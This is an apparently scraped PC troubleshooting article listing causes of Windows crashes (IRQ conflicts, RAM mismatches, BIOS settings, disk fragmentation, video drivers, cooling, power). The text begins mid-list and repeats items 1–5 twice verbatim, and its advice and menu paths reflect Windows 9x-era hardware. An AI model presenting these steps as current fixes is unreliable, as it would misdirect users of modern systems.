One remedy is to get a bigger better fan and install it on top of the CPU. Specialist cooling fans/heatsinks are available from www.computernerd.com or www.coolit.com
CPU problems can often be fixed by disabling the CPU internal cache in the BIOS. This will make the machine run more slowly, but it should also be more stable.
10 Power supply problems
With all the new construction going on around the country the steady supply of electricity has become disrupted. A power surge or spike can crash a computer as easily as a power cut.
If this has become a nuisance for you then consider buying a uninterrupted power supply (UPS). This will give you a clean power supply when there is electricity, and it will give you a few minutes to perform a controlled shutdown in case of a power cut.
It is a good investment if your data are critical, because a power cut will cause any unsaved data to be lost.
10 reasons why PCs crash U must Know (part 1)
Fatal error: the system has become unstable or is busy," it says. "Enter to return to Windows or press Control-Alt-Delete to restart your computer. If you do this you will lose any unsaved information in all open applications."
You have just been struck by the Blue Screen of Death. Anyone who uses Mcft Windows will be familiar with this.
1 Hardware conflict
The number one reason why Windows crashes is hardware conflict. Each hardware device communicates to other devices through an interrupt request channel (IRQ). These are supposed to be unique for each device.
For example, a printer usually connects internally on IRQ 7. The keyboard usually uses IRQ 1 and the floppy disk drive IRQ 6. Each device will try to hog a single IRQ for itself.
If there are a lot of devices, or if they are not installed properly, two of them may end up sharing the same IRQ number. When the user tries to use both devices at the same time, a crash can happen. The way to check if your computer has a hardware conflict is through the following route:
* Start-Settings-Control Panel-System-Device Manager.
Often if a device has a problem a yellow '!' appears next to its description in the Device Manager. Highlight Computer (in the Device Manager) and press Properties to see the IRQ numbers used by your computer. If the IRQ number appears twice, two devices may be using it.
Sometimes a device might share an IRQ with something described as 'IRQ holder for PCI steering'. This can be ignored. The best way to fix this problem is to remove the problem device and reinstall it.
Sometimes you may have to find more recent drivers on the internet to make the device function properly. A good resource is www.driverguide.com. If the device is a soundcard, or a modem, it can often be fixed by moving it to a different slot on the motherboard (be careful about opening your computer, as you may void the warranty).
When working inside a computer you should switch it off, unplug the mains lead and touch an unpainted metal surface to discharge any static electricity.
To be fair to Mcft, the problem with IRQ numbers is not of its making. It is a legacy problem going back to the first PC designs using the IBM 8086 chip. Initially there were only eight IRQs. Today there are 16 IRQs in a PC. It is easy to run out of them. There are plans to increase the number of IRQs in future designs.
2 Bad Ram
Ram (random-access memory) problems might bring on the blue screen of death with a message saying Fatal Exception Error. A fatal error indicates a serious hardware problem. Sometimes it may mean a part is damaged and will need replacing.
But a fatal error caused by Ram might be caused by a mismatch of chips. For example, mixing 70-nanosecond (70ns) Ram with 60ns Ram will usually force the computer to run all the Ram at the slower speed. This will often crash the machine if the Ram is overworked.
One way around this problem is to enter the BIOS settings and increase the wait state of the Ram. This can make it more stable. Another way to troubleshoot a suspected Ram problem is to rearrange the Ram chips on the motherboard, or take some of them out. Then try to repeat the circumstances that caused the crash. When handling Ram try not to touch the gold connections, as they can be easily damaged.
Parity error messages also refer to Ram. Modern Ram chips are either parity (ECC) or non parity (non-ECC). It is best not to mix the two types, as this can be a cause of trouble.
EMM386 error messages refer to memory problems but may not be connected to bad Ram. This may be due to free memory problems often linked to old Dos-based programmes.
3 BIOS settings
Every motherboard is supplied with a range of chipset settings that are decided in the factory. A common way to access these settings is to press the F2 or delete button during the first few seconds of a boot-up.
Once inside the BIOS, great care should be taken. It is a good idea to write down on a piece of paper all the settings that appear on the screen. That way, if you change something and the computer becomes more unstable, you will know what settings to revert to.
A common BIOS error concerns the CAS latency. This refers to the Ram. Older EDO (extended data out) Ram has a CAS latency of 3. Newer SDRam has a CAS latency of 2. Setting the wrong figure can cause the Ram to lock up and freeze the computer's display.
Mcft Windows is better at allocating IRQ numbers than any BIOS. If possible set the IRQ numbers to Auto in the BIOS. This will allow Windows to allocate the IRQ numbers (make sure the BIOS setting for Plug and Play OS is switched to 'yes' to allow Windows to do this.).
4 Hard disk drives
After a few weeks, the information on a hard disk drive starts to become piecemeal or fragmented. It is a good idea to defragment the hard disk every week or so, to prevent the disk from causing a screen freeze. Go to
* Start-Programs-Accessories-System Tools-Disk Defragmenter
This will start the procedure. You will be unable to write data to the hard drive (to save it) while the disk is defragmenting, so it is a good idea to schedule the procedure for a period of inactivity using the Task Scheduler.
The Task Scheduler should be one of the small icons on the bottom right of the Windows opening page (the desktop).
Some lockups and screen freezes caused by hard disk problems can be solved by reducing the read-ahead optimisation. This can be adjusted by going to
* Start-Settings-Control Panel-System Icon-Performance-File System-Hard Disk.
Hard disks will slow down and crash if they are too full. Do some housekeeping on your hard drive every few months and free some space on it. Open the Windows folder on the C drive and find the Temporary Internet Files folder. Deleting the contents (not the folder) can free a lot of space.
Empty the Recycle Bin every week to free more space. Hard disk drives should be scanned every week for errors or bad sectors. Go to
* Start-Programs-Accessories-System Tools-ScanDisk
Otherwise assign the Task Scheduler to perform this operation at night when the computer is not in use.
5 Fatal OE exceptions and VXD errors
Fatal OE exception errors and VXD errors are often caused by video card problems.
These can often be resolved easily by reducing the resolution of the video display. Go to
* Start-Settings-Control Panel-Display-Settings
Here you should slide the screen area bar to the left. Take a look at the colour settings on the left of that window. For most desktops, high colour 16-bit depth is adequate.
If the screen freezes or you experience system lockups it might be due to the video card. Make sure it does not have a hardware conflict. Go to
* Start-Settings-Control Panel-System-Device Manager
Here, select the + beside Display Adapter. A line of text describing your video card should appear. Select it (make it blue) and press properties. Then select Resources and select each line in the window. Look for a message that says No Conflicts.
If you have video card hardware conflict, you will see it here. Be careful at this point and make a note of everything you do in case you make things worse.
The way to resolve a hardware conflict is to uncheck the Use Automatic Settings box and hit the Change Settings button. You are searching for a setting that will display a No Conflicts message.
Another useful way to resolve video problems is to go to
* Start-Settings-Control Panel-System-Performance-Graphics
Here you should move the Hardware Acceleration slider to the left. As ever, the most common cause of problems relating to graphics cards is old or faulty drivers (a driver is a small piece of software used by a computer to communicate with a device).
Look up your video card's manufacturer on the internet and search for the most recent drivers for it.
You have just been struck by the Blue Screen of Death. Anyone who uses Mcft Windows will be familiar with this.
1 Hardware conflict
The number one reason why Windows crashes is hardware conflict. Each hardware device communicates to other devices through an interrupt request channel (IRQ). These are supposed to be unique for each device.
For example, a printer usually connects internally on IRQ 7. The keyboard usually uses IRQ 1 and the floppy disk drive IRQ 6. Each device will try to hog a single IRQ for itself.
If there are a lot of devices, or if they are not installed properly, two of them may end up sharing the same IRQ number. When the user tries to use both devices at the same time, a crash can happen. The way to check if your computer has a hardware conflict is through the following route:
* Start-Settings-Control Panel-System-Device Manager.
Often if a device has a problem a yellow '!' appears next to its description in the Device Manager. Highlight Computer (in the Device Manager) and press Properties to see the IRQ numbers used by your computer. If the IRQ number appears twice, two devices may be using it.
Sometimes a device might share an IRQ with something described as 'IRQ holder for PCI steering'. This can be ignored. The best way to fix this problem is to remove the problem device and reinstall it.
Sometimes you may have to find more recent drivers on the internet to make the device function properly. A good resource is www.driverguide.com. If the device is a soundcard, or a modem, it can often be fixed by moving it to a different slot on the motherboard (be careful about opening your computer, as you may void the warranty).
When working inside a computer you should switch it off, unplug the mains lead and touch an unpainted metal surface to discharge any static electricity.
To be fair to Mcft, the problem with IRQ numbers is not of its making. It is a legacy problem going back to the first PC designs using the IBM 8086 chip. Initially there were only eight IRQs. Today there are 16 IRQs in a PC. It is easy to run out of them. There are plans to increase the number of IRQs in future designs.
2 Bad Ram
Ram (random-access memory) problems might bring on the blue screen of death with a message saying Fatal Exception Error. A fatal error indicates a serious hardware problem. Sometimes it may mean a part is damaged and will need replacing.
But a fatal error caused by Ram might be caused by a mismatch of chips. For example, mixing 70-nanosecond (70ns) Ram with 60ns Ram will usually force the computer to run all the Ram at the slower speed. This will often crash the machine if the Ram is overworked.
One way around this problem is to enter the BIOS settings and increase the wait state of the Ram. This can make it more stable. Another way to troubleshoot a suspected Ram problem is to rearrange the Ram chips on the motherboard, or take some of them out. Then try to repeat the circumstances that caused the crash. When handling Ram try not to touch the gold connections, as they can be easily damaged.
Parity error messages also refer to Ram. Modern Ram chips are either parity (ECC) or non parity (non-ECC). It is best not to mix the two types, as this can be a cause of trouble.
EMM386 error messages refer to memory problems but may not be connected to bad Ram. This may be due to free memory problems often linked to old Dos-based programmes.
3 BIOS settings
Every motherboard is supplied with a range of chipset settings that are decided in the factory. A common way to access these settings is to press the F2 or delete button during the first few seconds of a boot-up.
Once inside the BIOS, great care should be taken. It is a good idea to write down on a piece of paper all the settings that appear on the screen. That way, if you change something and the computer becomes more unstable, you will know what settings to revert to.
A common BIOS error concerns the CAS latency. This refers to the Ram. Older EDO (extended data out) Ram has a CAS latency of 3. Newer SDRam has a CAS latency of 2. Setting the wrong figure can cause the Ram to lock up and freeze the computer's display.
Mcft Windows is better at allocating IRQ numbers than any BIOS. If possible set the IRQ numbers to Auto in the BIOS. This will allow Windows to allocate the IRQ numbers (make sure the BIOS setting for Plug and Play OS is switched to 'yes' to allow Windows to do this.).
4 Hard disk drives
After a few weeks, the information on a hard disk drive starts to become piecemeal or fragmented. It is a good idea to defragment the hard disk every week or so, to prevent the disk from causing a screen freeze. Go to
* Start-Programs-Accessories-System Tools-Disk Defragmenter
This will start the procedure. You will be unable to write data to the hard drive (to save it) while the disk is defragmenting, so it is a good idea to schedule the procedure for a period of inactivity using the Task Scheduler.
The Task Scheduler should be one of the small icons on the bottom right of the Windows opening page (the desktop).
Some lockups and screen freezes caused by hard disk problems can be solved by reducing the read-ahead optimisation. This can be adjusted by going to
* Start-Settings-Control Panel-System Icon-Performance-File System-Hard Disk.
Hard disks will slow down and crash if they are too full. Do some housekeeping on your hard drive every few months and free some space on it. Open the Windows folder on the C drive and find the Temporary Internet Files folder. Deleting the contents (not the folder) can free a lot of space.
Empty the Recycle Bin every week to free more space. Hard disk drives should be scanned every week for errors or bad sectors. Go to
* Start-Programs-Accessories-System Tools-ScanDisk
Otherwise assign the Task Scheduler to perform this operation at night when the computer is not in use.
5 Fatal OE exceptions and VXD errors
Fatal OE exception errors and VXD errors are often caused by video card problems.
These can often be resolved easily by reducing the resolution of the video display. Go to
* Start-Settings-Control Panel-Display-Settings
Here you should slide the screen area bar to the left. Take a look at the colour settings on the left of that window. For most desktops, high colour 16-bit depth is adequate.
If the screen freezes or you experience system lockups it might be due to the video card. Make sure it does not have a hardware conflict. Go to
* Start-Settings-Control Panel-System-Device Manager
Here, select the + beside Display Adapter. A line of text describing your video card should appear. Select it (make it blue) and press properties. Then select Resources and select each line in the window. Look for a message that says No Conflicts.
If you have video card hardware conflict, you will see it here. Be careful at this point and make a note of everything you do in case you make things worse.
The way to resolve a hardware conflict is to uncheck the Use Automatic Settings box and hit the Change Settings button. You are searching for a setting that will display a No Conflicts message.
Another useful way to resolve video problems is to go to
* Start-Settings-Control Panel-System-Performance-Graphics
Here you should move the Hardware Acceleration slider to the left. As ever, the most common cause of problems relating to graphics cards is old or faulty drivers (a driver is a small piece of software used by a computer to communicate with a device).
Look up your video card's manufacturer on the internet and search for the most recent drivers for it.
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